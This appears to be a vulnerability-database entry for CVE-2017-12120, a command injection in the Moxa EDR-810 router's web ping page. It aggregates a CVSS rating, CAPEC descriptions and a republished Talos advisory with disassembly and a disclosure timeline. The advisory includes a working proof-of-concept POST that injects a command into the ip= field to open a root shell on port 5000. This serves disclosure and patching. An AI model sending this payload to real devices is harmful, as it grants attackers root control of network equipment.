Vulnerabilities > CVE-2017-12120 - OS Command Injection vulnerability in Moxa Edr-810 Firmware 4.1

047910
CVSS 8.8 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
LOW
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
network
low complexity
moxa
CWE-78

Summary

An exploitable command injection vulnerability exists in the web server functionality of Moxa EDR-810 V4.1 build 17030317. A specially crafted HTTP POST can cause a privilege escalation, resulting in a root shell. An attacker can inject OS commands into the ip= parm in the "/goform/net_WebPingGetValue" URI to trigger this vulnerability.

Vulnerable Configurations

Part Description Count
OS
Moxa
1
Hardware
Moxa
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
  • Command Delimiters
    An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or a blacklist input validation, as opposed to whitelist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or blacklist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
  • Exploiting Multiple Input Interpretation Layers
    An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
  • Argument Injection
    An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
  • OS Command Injection
    In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/150535/moxanport-exec.txt
idPACKETSTORM:150535
last seen2018-12-01
published2018-11-29
reporterMaxim Khazov
sourcehttps://packetstormsecurity.com/files/150535/Moxa-NPort-W2x50A-2.1-OS-Command-Injection.html
titleMoxa NPort W2x50A 2.1 OS Command Injection

Seebug

bulletinFamilyexploit
description### Summary An exploitable command injection vulnerability exists in the web server functionality of Moxa EDR-810 V4.1 build 17030317. A specially crafted HTTP POST can cause a privilege escalation, resulting in a root shell. An attacker can inject OS commands into the ip= parm in the "/goform/net_WebPingGetValue" URI to trigger this vulnerability. ### Tested Versions Moxa EDR-810 V4.1 build 17030317 ### Product URLs https://www.moxa.com/product/EDR-810.htm ### CVSSv3 Score 8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H ### CWE CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') ### Details Once logged in to the device's web interface, a diagnostic ping page can be found. This page asks the user for an IP address to ping. There is input validation client-side, but it can be easily bypassed by using tools, such as cURL or Wget. There is no server-side validation of input. The page will call the system to run the Linux ping command. The system will run the following command with '%s' as user-controlled input. ``` echo "$(ping -c 4 %s -q -W 3| grep 'received' | cut -d ' ' -f4)" > /mnt/ramdisk/MagicPingResult ``` The code below shows user input being passed to system. ``` R0, =aRmFMntRamdiskM ; "rm -f /mnt/ramdisk/MagicPingResult" .text:0003C7D8 BL system .text:0003C7DC LDR R2, =aEchoPingC4SQW3 ; "echo "$(ping -c 4 %s -q -W 3| grep 'received' | cut -d ' ' -f4)" > /mnt/ramdisk/MagicPingResult" .text:0003C7E0 SUB R1, R11, #-command .text:0003C7E4 SUB R3, R11, #-dest .text:0003C7E8 MOV R0, R1 ; s .text:0003C7EC MOV R1, R2 ; format .text:0003C7F0 MOV R2, R3 .text:0003C7F4 BL sprintf .text:0003C7F8 SUB R3, R11, #-command .text:0003C7FC MOV R0, R3 ; command .text:0003C800 BL system # call to system ``` Vulnerable URI: /goform/net_WebPingGetValue Vulnerable Parameter: `ip=` ### Exploit Proof-of-Concept The following POST will start a root shell on port 5000. ``` POST: /goform/net_WebPingGetValue HTTP/1.1 Host: DeviceIP Cooke: Valid-Cookie Content-Type: japplication/x-www-form-urlencoded pingTemp=127.0.0.1&ifs=1&ip=`tcpsvd 0 5000 /bin/bash`# ``` ### Timeline * 2017-11-15 - Vendor Disclosure * 2017-11-19 - Vendor Acknowledged * 2017-12-25 - Vendor provided timeline for fix (Feb 2018) * 2018-01-04 - Timeline pushed to mid-March per vendor * 2018-03-24 - Talos follow up with vendor for release timeline * 2018-03-26 - Timeline pushed to 4/13/18 per vendor * 2018-04-12 - Vendor patched & published new firmware on website * 2018-04-13 - Public Release
idSSV:97231
last seen2018-06-26
modified2018-04-16
published2018-04-16
reporterMy Seebug
titleMoxa EDR-810 Web Server ping Command Injection Vulnerability(CVE-2017-12120)

Talos

idTALOS-2017-0472
last seen2019-05-29
published2018-04-13
reporterTalos Intelligence
sourcehttp://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0472
titleMoxa EDR-810 Web Server ping Command Injection Vulnerability